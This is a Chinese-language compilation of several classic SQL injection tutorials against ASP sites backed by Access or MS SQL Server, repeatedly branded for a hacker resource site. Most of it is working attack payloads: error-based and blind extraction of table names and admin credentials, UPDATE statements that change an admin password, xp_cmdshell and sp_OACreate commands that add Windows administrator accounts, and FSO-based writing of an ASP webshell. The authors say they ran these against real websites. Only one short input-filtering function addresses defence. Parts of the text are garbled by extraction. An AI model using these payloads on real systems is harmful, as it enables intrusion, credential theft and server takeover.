admin 管理员组

文章数量: 1184232


2024年4月24日发(作者:index在excel中的用法)

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

听说很多人想学SQL手工注入,但网上的资料都很不全,我在家没事就帮大家

找了一些关于SQL手工注入经典的教程,希望能给大家带来帮助......

SQL 注入天书 - ASP 注入漏洞全接触收藏

引言

随着 B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越

多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当

大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使

应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结

果,获得某些他想得知的数据,这就是所谓的 SQL Injection,即SQL注入。

SQL注入是从正常的 WWW 端口访问,而且表面看起来跟一般的 Web 页面

访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管

理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不

能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,

是高手与“菜鸟”的根本区别。

根据国情,国内的网站用 ASP+Access 或 SQLServer 的占 70% 以上,

PHP+MySQ 占 20%,其他的不足 10%。在本文,我们从分入门、进阶至高级

讲解一下 ASP 注入的方法及技巧,PHP 注入的文章由 NB 联盟的另一位朋友

zwell 撰写,希望对安全工作者和程序员都有用处。了解 ASP 注入的朋友也请

不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了

吗?

入门篇

如果你以前没试过SQL注入的话,那么第一步先把 IE 菜单 =>工具 =>

Internet 选项 => 高级 => 显示友好 HTTP 错误信息 前面的勾去掉。否则,不

500 服务器错误,不能获得更多论服务器返回什么错误,IE都只显示为 HTTP

的提示信息。

第一节、SQL注入原理

以下我们从一个网站 开始(注:本文发表前已征得该站站长同

意,大部分都是真实数据)。

在网站首页上,有名为“ IE 不能打开新窗口的多种解决方法”的链接,地址为:

/?id=49,我们在这个地址后面加上单引号’,

服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 80040e14

字符串的语法错误 在查询表达式 ID=49 中。

/,行8

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

从这个错误提示我们能看出下面几点:

网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

程序没有判断客户端提交的数据是否符合程序要求。

该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,

从而收集程序及服务器的信息,从而获取你想到得到的资料。

第二节、判断能否进行SQL注入

看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单

吗? 其实,这并不是最好的方法,为什么呢?

首先,不一定每台服务器的 IIS 都返回具体错误提示给客户端,如果程序中加

了 cint(参数) 之类语句的话,SQL注入是不会成功的,但服务器同样会报错,

具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全

了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

那么,什么样的测试方法才是比较准确呢?答案如下:

/?id=49

/?id=49 ;and 1=1

/?id=49 ;and 1=2

这就是经典的 1=1、1=2 测试法 了,怎么判断呢?看看上面三个网址返回的结

果就知道了,可以注入的表现:

正常显示(这是必然的,不然就是程序有错误了)

正常显示,内容基本与 1 相同

提示 BOF 或 EOF(程序没做任何判断时)、或提示找不到记录(判断了

时)、或显示内容为空(程序加了on error resume next)

不可以注入就比较容易判断了,1 同样正常显示,2 和 3 一般都会有程序定义

的错误提示,或提示类型转换时出错。

当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符

型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。

第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断

一下数据库的类型。一般 ASP 最常搭配的数据库是 Access 和 SQLServer,网

上超过 99% 的网站都是其中之一。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

怎么让程序告诉你它使用的什么数据库呢?来看看: SQLServer 有一些系统变

量,如果服务器 IIS 提示没关闭,并且 SQLServer 返回错误提示的话,那可以

直接从出错信息获取,方法如下:

/?id=49 ;and user>0

这句语句很简单,但却包含了 SQLServer 特有注入方法的精髓,我自己也是在

一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,

前面的语句是正常的,重点在 and user>0,我们知道,user 是 SQLServer 的一

个内置变量,它的值是当前连接的用户名,类型为 nvarchar。拿一个 nvarchar 的

值跟 int 的数 0 比较,系统会先试图将 nvarchar 的值转成 int 型,当然,转

的过程中肯定会出错, SQLServer 的出错提示是:将 nvarchar 值 ”abc” 转换

数据类型为 int 的列时发生语法错误,呵呵,abc 正是变量 user 的值,这样,

不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这

种方法的语句。

顺便说几句,众所周知,SQLServer 的用户 sa 是个等同 Adminstrators 权限的

角色,拿到了 sa 权限,几乎肯定可以拿到主机的 Administrator 了。上面的方

法可以很方便的测试出是否是用 sa 登录,要注意的是:如果是 sa 登录,提示

是将 ”dbo” 转换成 int 的列发生错误,而不是”sa”。

如果服务器 IIS 不允许返回错误提示,那怎么判断数据库类型呢?我们可以从

Access 和 SQLServer 和区别入手,Access 和 SQLServer 都有自己的系统表,

比如存放数据库中所有对象的表,Access 是在系统表 [msysobjects ]中,但在

Web 环境下读该表会提示“没有权限”,SQLServer 是在表 [sysobjects] 中,在

Web 环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

/?id=49 ;and (select count(*) from

sysobjects)>0

/?id=49 ;and (select count(*) from

msysobjects)>0

如果数据库是 SQLServer,那么第一个网址的页面与原页面

/?id= 49 是大致相同的;而第二个网址,由

于找不到表 msysobjects,会提示出错,就算程序有容错处理,页面也与原页面

完全不同。

如果数据库用的是 Access,那么情况就有所不同,第一个网址的页面与原页面

完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不

允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知

系统所用的数据库类型,第二个网址只作为开启 IIS 错误提示时的验证。

进阶篇

在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,

首先,我们先看看SQL注入的一般步骤:

第一节、SQL注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分

为下面三种:

ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:

Select * from 表名 where 字段=49

注入的参数为 ID=49 And [查询条件],即是生成语句:

Select * from 表名 where 字段=49 And [查询条件]

Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:

Select * from 表名 where 字段=’连续剧’

注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:

Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

搜索时没过滤参数的,如 keyword=关键字,SQL语句原貌大致如下:

Select * from 表名 where 字段 like ’%关键字%’

注入的参数为 keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:

Select * from 表名 where 字段 like ’%’ and [查询条件] and ‘%’=’%’

接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与 ID=49 的相同,说明附加条件成立,即表 Admin 存在,反之,

即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。 表名猜出来后,

将 Count(*) 替换成 Count(字段名),用同样的原理猜解字段名。

有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没

得玩下去了。说得很对,这世界根本就不存在 100% 成功的黑客技术,苍蝇不

叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用

者保密意识不够,才有得下手。 有点跑题了,话说回来,对于 SQLServer 的库,

还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。

最后,在表名和列名猜解成功后,再使用 SQL 语句,得出字段的值,下面介绍

一种最常用的方法-Ascii 逐字解码法,虽然这种方法速度很慢,但肯定是可行

的方法。

我们举个例子,已知表 Admin 中存在 username 字段,首先,我们取第一条记

录,测试长度:

/?id=49 ;and (select top 1 len(username) from

Admin)>0

先说明原理:如果 top 1 的 username 长度大于 0,则条件成立;接着就

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

是 >1、>2、>3 这样测试下去,一直到条件不成立为止,比如 >7成立,>8 不

成立,就是 len(username)=8

当然没人会笨得从 0,1,2,3 一个个测试,怎么样才比较快就看各自发挥了。在得

到 username 的长度后,用 mid(username,N,1) 截取第 N 位字符,再

asc(mid(username,N,1)) 得到 ASCII 码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第 1 位字符的 ASCII 码,注意的是英文

和数字的 ASCII 码在 1-128 之间,可以用折半法加速猜解,如果写成程序测试,

效率会有极大的提高。

第二节、SQL注入常用函数

有 SQL 语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们

有必要提高一下自己的 SQL 水平,特别是一些常用的函数及命令。

Access:asc(字符) SQLServer:unicode(字符) 作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字) 作用:与asc相反,根据ASCII码

返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L) 作用:返回字符

串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字) 作用:返回数字的绝对值(在猜解汉

字的时候会用到)

Access:A between B And C SQLServer:A between B And C 作用:判断A是

否界于B与C之间

第三节、中文处理方法

在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其

实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。 先说一点常识:

Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,

汉字字符不变。

SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用

函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函

数取得对应的中文字符。

了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的

函数要注意、猜解范围大一点外,方法是没什么两样的。

高级篇

看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表

名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么

样提高猜解效率?请大家接着往下看高级篇。

第一节、利用系统表注入SQLServer数据库

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

SQLServer 是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开

发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看

看几个具体的例子:

Site/?id=1;p_cmdshell “net user name password /add”--

分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,

这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执

行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新

建了用户名为name、密码为password的windows的帐号,接着:

Site/?id=1;p_cmdshell “net localgroup name

administrators /add”--

将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!

当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用

xp_cmdshell的。

Site/?id=1 ;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系

统变量,返回的是连接的数据库名。

Site/?id=1;backup database 数据库名 to

disk=’c:’;--

这是相当狠的一招,从 3 拿到的数据库名,加上某些 IIS 出错暴露出的绝对路

径,将数据库备份到 Web 目录下面,再用 HTTP 把整个数据库就完完整整的

下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还

可以备份到网络地址的方法(如e ),但成功率不高。

Site/?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and

status>0)>0

前面说过,sysobjects 是 SQLServer 的系统表,存储着所有的表名、视图、约

束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第

一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名

怎么获取?还是留给我们聪明的读者思考吧。

Site/?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from

sysobjects)>0

从 5 拿到表名后,用 object_id(‘表名’)获取表名对应的内部 ID,col_name(表名

ID,1) 代表该表的第 1 个字段名,将 1 换成 2,就可以逐个获取所猜解表里

面的字段名。

以上 6 点是我研究 SQLServer 注入半年多以来的心血结晶,可以看出,对

SQLServer 的了解程度,直接影响着成功率及猜解速度。在我研究 SQLServer 注

入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就

是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的

方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较

熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包

含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,

我们举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where

xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where

name=nchar(29992)+nchar(25143)代替。

第三节、经验小结

有些人会过滤 Select、Update、Delete 这些关键字,但偏偏忘记区分大小写,所

以大家可以用 selecT 这样尝试一下。

在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都

与表单的输入框取相同的名字。

特别注意:地址栏的+号传入程序后解释为空格,%2B 解释为 + 号,%25 解释

为 % 号,具体可以参考 URLEncode 的相关介绍。

用 Get 方法注入时,IIS 会记录你所有的提交字符串,对 Post 方法做则不记录,

所以能用 Post 的网址尽量不用Get。

猜解 Access 时只能用 Ascii 逐字解码法,SQLServer 也可以用这种方法,只需

要两者之间的区别即可,但是如果能用 SQLServer 的报错信息把值暴露出来,

那效率和准确率会有极大的提高。

防范方法

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常

是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。

在这里,我给大家一个函数,代替 ASP 中的 Request 函数,可以对一切的 SQL

注入 Say NO,函数如下:

Function SafeRequest(ParaName,ParaType)

--- 传入参数 ---

ParaName:参数名称-字符型

ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

Dim ParaValue

ParaValue=Request(ParaName)

If ParaType=1 then

If not isNumeric(ParaValue) then

"参数" & ParaName & "必须为数字型!"

End if

Else

ParaValue=replace(ParaValue,"","")

End if

SafeRequest=ParaValue

End function

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本

文能对你有所帮助。 (作者:小竹)

漏洞描述:MSSQL 跨库查询.可以暴露任意库中任意表中字段的值.

漏洞发现者:中国网络脚本安全测试小组--臭要饭的!,黑夜.

测试和利用:臭要饭的!,黑夜.

测试日期:2003-10-30

前言:

哎,真是无聊,又烦人,我这个要饭的,日子越来越不好过了。有人居然说我奉

旨要饭,我真是没得语言了,所以抽了空玩点COOL的,好让大家来分享分享!

大家都知道SQL跨表查询的东东吧。不过,假如管理员把字段名改成非常复杂

的话,那么我们去猜解字段名,那将会是一件非常痛苦的事. 痛苦的事我们就不

要去做了,交给想做痛苦的事的人吧.我们去找新的,绕过这个痛苦的过程。

绕过这个过程的过程I LIKE 。这个过程就是我今天要为大家介绍

的 MSSQL 跨库查询的用法.

开工吧,让我们来分析一下MSSQL的三个关键系统表.

一、分析MSSQL三个关键系统表. (西安禾丰/).

sysdatabases

MSSQL中对sysdatabases系统表 的说明:

Microsoft SQL Server 上的每个数据库在表中占一行。最初安

装 SQL Server 时,sysdatabases 包含 master、model、msdb、

mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。

这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。

他是

保存了,所有的库名,以及库的ID,和一些相关信息。

这里我把对于我们有用的字段名称和相关说明给大家列出来.看好咯!

name dbid

//表示库的名字. //表示库的ID.

dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这

五个库.

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

我们利用SQL语句:select * from abases 就可以查询出所有

的库名.

sysobjects

MSSQL中对sysobjects系统表的说明: (西安禾丰/).

在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中

占一行。只有在 tempdb 内,每个临时对象才在该表中占一行。

这个是列出数据库对象的系统表。当然数据库表名也在里面的.

这里我就为大家列出一些对我们有用的字段名称和相关说明.

name id xtype uid

对象名. 对象ID 对象类型 所有者对象的用户ID。

对象类型(xtype)。可以是下列对象类型中的一种:

C = CHECK 约束

D = 默认值或 DEFAULT 约束

F = FOREIGN KEY 约束

L = 日志

FN = 标量函数

IF = 内嵌表函数

P = 存储过程

PK = PRIMARY KEY 约束(类型是 K)

RF = 复制筛选存储过程

S = 系统表

TF = 表函数

TR = 触发器

U = 用户表

UQ = UNIQUE 约束(类型是 K)

V = 视图

X = 扩展存储过程

当然我们这里只用得到xtype=“U“的值。当等于U的时候,对象名就是表名,对

象ID就是表的ID值.

我们利用SQL语

句: select * from ects where xtype=“U“ 这样就可以列

出库名称是:ChouYFD中所有的表名.

syscolumns

SQL中syscolumns系统表的说明:

每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。

该表位于每个数据库中。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

这个就是列出一个表中所有的字段列表的系统表。

这里我就为大家列出一些对我们有用的字段名称和相关说明:

name id colid

//字段名称 //表ID号. 字段ID号.

其中的 ID 是 刚上我们用sysobjects得到的表的ID号.

我们利用SQL语

句: select * from umns where id=123456789 得到

ChouYFD这个库中,表的ID是123456789中的所有字段列表.

YES SIR 明白!GO GO GO !!!

好了,简单的介绍了一下这个用法.大家如果有不了解的,请查看SQL相关说明.

二、灵活利用系统表

同志们,玩过CS游戏的举手,呵呵,都玩过啊。好!我们今天也要来爆一下"头

".

GO GO GO !!!

不过我们现在爆的是库名,表名,字段名,我们用不着去猜库名,表名,字段名.

说一下怎么爆出相关的库名,表名,字段名.

当两个类型值不一样的时候,将他们做比较,SQL系统会提示出错。并且会显示

出类型的值. 如:’aaa’>100 这样比较,也就是字符串和数字的比较,这个怎么

比较嘛,系统当然会提示出错啦!大家都知道只有相同类型的时候才可以进行运

算.所以这里我们就来一个反方向的不相同类型比较,爆出他的值.

下面就让我们来测试吧!!!准备好没有?GO!

任务一:得到所有库名.

/?id=3400 and 0<>(select count(*) _

from abases where name>1 and dbid=6)

因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。

并且我们提交了 name>1 NAME字段是一个字符型的字段和数字比较会出错.

那我们提交看一下IE返回了什么?

IE返回.

Microsoft OLE DB Provider for SQL Server 错误 “80040e07“

将 nvarchar 值 “Northwind“ 转换为数据类型为 int 的列时发生语法错误。

/,行33

GOOD!!!这样就把NAME字段的值爆露出来了: Northwind. 也就是我们得到了

一个库名.

改变DBID的值.我们可以得出所有的库名.当DBID等于10,11的时候,爆出了

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

两个论坛的库名.分别为:

bbs2002

bbs

呵呵,论坛的库名出来啦!!!那我们就不客气了。就找BBS这个库吧!

任务二:得到bbs这个库中所有的表名.

先来第一句:

/?id=3400 and 0<>(select top 1

name from ects where xtype=“U“)

查询的SQL语句,返回的是NAME的值然后和数字0比较,这样就会爆露出NA

ME

的值.

好我们提交吧,只听到砰的一声!一个表名(name的值)出来了。名叫:Address.

// 这里多说两句话,如果你提交的时候,他说你没有权限,就说明,这两个库

的SQL账

//号的权限不一样,那就放弃吧。你没有资格进行下去. 老兄放弃吧!等他更新

账号权

//的时候,我第一时间通知你!一定要相信我臭要饭的!话.

好,再来接着爆其他的表.

/?id=3400 and 0<>(select top 1 _

name from ects where xtype=“U“ and name _

not in(“Address“))

又出来一个表名,名叫:admin

依次提交 ... and name not in(“address“,“admin“,..)) 可以查出所有的表名.

好,现在我们得到了ADMIN这个表,大家都清楚了这个表是做什么的吧!!我

们的目的就是要得到这个表中账号字段和密码字段的值。

下面就是要得到这个表中的所有字段名了咧! 怎么得到字段名呢?系统

表: syscolumns

中有用字段为: name、 id、colid 其中ID是保存着表的ID。也就是说我们要

得到表的ID号然后,用SELECT * from umns where id=bbs

表的ID 这样才能列出BBS这个表中所有的字段. 说了半天,哎,说不清楚了。

看我表演吧!

/?id=3400 and 0<>(select count(*)_

from ects where xtype=“U“ and name=“admin“_

and uid>(str(id)))

//把ID值转成字符型后再和一个整型值比较。我KAO。经典吧,呵呵,这也想得

出来。 (西安禾丰/).

又听到砰的一声!ID号出来了。值为:773577794

!! 进入下关吧。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

任务三:得到ADMIN这个表中的所有字段列表:

/?id=3400 and 0<>(select top 1 _

name from umns where id=773577794)

又是把NAME和数字比较.

IE 返回:adduser 呵呵,来来来。

/?id=3400 and 0<>(select top 1 _

name from umns where id=773577794 and name _

not in(“adduser“))

又返回一个字段名:flag

/?id=3400 and 0<>(select top 1 _

name from umns where id=773577794 and name _

not in(“adduser“,“flag“))

好当提交到:

/?id=3400 and 0<>(select top 1 _

name from umns

where id=773577794 and name not in(“adduser“,“flag“,“id“,_

“lastlogin“,“lastloginip“,“password“,“username“))

IE返回:BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操

作要求一个当前的记录。

说明,我们已经猜完了。呵呵,看到了吧。

把BBS库中的ADMIN表中的所有字段列出来了。

分别如下:

adduser,adduser,flag,id,lastlogin,lastloginip,password,username

看了一下,很像动网的论坛。

任务四:查询字段值.

来。我们看看username和password的值吧。

/?id=3400 and 0<(select id from _

where username>1)

账号出来了:youbiao

/?id=3400 and 0<(select id from _

where password>1 and username=“youbiao“)

密码又出来了:d6b2f32a47b8bcb5 我的天MD5的!不怕,呵呵~!!!

来。改一下他的密码:

/?id=3400;update _

set password=“AAABBBCCCDDDEEEF“ where username=“youbiao“;--

呵呵,试试。成功了。我们再来给他改回来.

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

/?id=3400;update _

set password=“d6b2f32a47b8bcb5“ where username=“youbiao“;--

又改回来咯!!!呵~!

通过提交UPDATE语句就可以直接把密码给他更改了。不过这是动网的。现在

我们得到的只是后台的账号,你还是到前台去加一个用户为管理员才行。 这里,

我们只是作测试,不破坏任何数据。 所以本文中的测试网址都更改过。请大家

见谅!

[本文章还做了动画,不过测试动画用到的网站是国内一家大型游戏网站,所以这

里不方便提示下载.请原谅.不明白的朋友请多看MSSQL相关帮助,学会自己独立

分析和研究]

三、结束,闪人!:

这次测试是和黑夜一起测试的。其中用了不少心思。希望,大家不要利用本方法

去破坏网络数据,希望看到本文章的朋友,如果自己的网站用了SQL数据库,

请认真检查脚本提交的参数.

最新的研究技术.

1.在MSSQL查看系统和数据库信息。可以得到系统补丁情况和数据库版本.

2.可以得到MSSQL数据库当前连接的账号名,以及账号是什么权限.

3.查看一个MSSQL存储扩展过程是否存在.

4.通过有权限的MSSQL数据库账号可以得到WEB绝对路径的位置.

5.研究出怎么饶过脚本外部提交的限制.

6.给我一个MSSQL sysadmin账号我就一定可以给你一个系统管理员权限, 成

功率99%.

正在研究的东西.

1.寻找DVBBS7.0的漏洞.

2.研究MSSQL查寻目录的方法.

3.研究怎么通过ACCESS数据库直接得到WEBSHELL的方法.

4.深入研究ACCESS没公开的函数,为注入服务.

其实以上的研究只有一个目的就是怎么得到WEBSHELL.

榨干MS SQL最后一滴血 时间:2007-06-16 作者:佚名 编辑:

本站 点击:

-风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起

强大的ORACLE,MS SQL。微软的漏洞最多,今天就用SQL INJECTION来让

MS SQL为我们好好的工作。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已

掌握,在这里就不多说这方面了。

MS SQL内置函数介绍:

@@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name()

得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME()

得到当前主机的名称

这些信息有助我们对系统进行简单的了解

好,下面我们就开始吧!

语句: http:///?classid=1'返回信息:Microsoft OLE DB

Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未

闭合的引号。 /,行290

从这里未闭合的引号(“’”),我们可以确定存在SQL INJECTION。发现在漏洞

当然接着走了,利用以上介绍的函数为我们工作了:

语句: http:///?classid=1 and 0<>(select @@version)—返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值

'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright

(c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build

2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /,

行290

相关的信息出来了,MS SERVER ADVANCED SERVER 2000+SP4, SQL

2000+SP3,从MS SQL SERVER 后面的8.00.760可看出是SP3补丁。看了服务

器的信息,接下应该了解数据库的权限了:

语句:http:///?classid=1 and user_name()=’dbo’返回: 正常

返回的信息

确定是权限是DBO,从表面DBO权限的连接用户经常是涉及SYSADMIN服务器

角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用

户。

返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:

语句: http:///?classid=1 and 0<>(select user_name())—返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo'

转换为数据类型为 int 的列时发生语法错误。 /,行290

说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。

语句:http:///?classid=1 and 0<>(select db_name())—返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值

'GameIMGSys' 转换为数据类型为 int 的列时发生语法错误。 /,行290

这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想

直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取决于当前服务

器的配置,如果配置不合理的服务器,我们要直接拿NT ADMIN,拿NT ADMIN

就要用到:

MSSQL内置存储过程:

sp_OACreate (通过它,危害很得更大,但是需要有SYSADMINS权限才可能使用)

sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty

sp_SetPropertysp_OAStop

由于MS SQL一次可以执行多语句,使得我们有机会使用更多的语句。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

语句: http:///?classid=1; DECLARE @shell INT EXEC

SP_OACREATE '',@shell OUTPUT EXEC SP_OAMETHOD

@shell,'run',null, 'C: /c net user cntest chinatest /add'正常

返回。(提示:如果主机上shell存在的话那将在服务器上创建一个cntest的用户)

创建用户了,语句后再加个net localgroup administrators cntest /add加到管理组中。

如果对方的机子开着3389端口,或IPC的话,那接下来的事,就不用我多说了。

遇到专业型主机,只开一个80端口,那应该怎么办呢?当然,我们还是可能拿

到WEBSHELL,再慢慢渗透的。

由于权限高,我们可能先建表,写入

ASP木马的数据再通过MAKEWEBTASK,

得到WEBSEHLL.手工写入的程序太过于繁锁,上传WEBSHELL最大的问题还是

网页目录,现在网上已经有现成的工具通过BACKUP,和MASKWEBTASK的工

具得到WEBSHELL了。以下推荐,获取网页路径(通过存储过程达到对注册表

的读取):

利用内置存储过程 xp_regread(读取注册表键值,权限public):

语句:http:///?classid=1;CREATE TABLE new

table(id int

IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

p_regread @rootkey='HKEY_LOCAL_MACHINE',

@key='SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots',

@value_name='/', values=@test OUTPUT insert into paths(path) values(@test)

IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE

SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots

利用爆字段将数据库的值读出来:

语句:http:///?cl

assid=1 and 0<>(select top 1 paths from

newtable)--返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 'E:www,,201'

转换为数据类型为 int 的列时发生语法错误。

这说明网页目录在E:www,接下来也可以利用F

SO直接写入ASP木马(提示必

须拥用SYSADMIN权限才可使用FSO和FSO开入的前提下) :

语句:http:

///?class=1;declare%20@o%20int,%20@f%20int,%20@t%20in

t,%20@ret%20int%20exec%20sp_oacreate%20'stemobject',%20@o%

20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:

',1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20

NULL,%20'On Error Resume Next'--

在E:WWW下创建一个并写入

On Error Resume next语句:

http:

///?classid=1;declare%20@o%20int,%20@f%20int,%20@t%20

int,%20@ret%20int%20exec%20sp_oacreate%20'stemobject',%20@o

%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',%20@f%20out,%20'e:

',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20

NULL,%20'asp horse '—

在E:增加一行记录,记录为asp horse, 整个完整木马可能这样写

入。(%百分号要用%25替代写入)。如果得不到网页目录,怎么办呢?前提你要

猜到网站是否使用默认WEB,或者使用域名作为WEB。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

declare @o int exec sp_oacreate '', @o out exec sp_oamethod @o, 'run',

NULL,’ c: -w "默认 Web 站点" -v

"e","e:"’

在默认的WE

B站点下创建一个虚拟目录E,指向E:盘下。

declare @o int exec sp_oacreate '', @o out exec sp_oamethod @o, 'run',

NULL,’ c: -a w3svc/1/ROOT/e +browse’

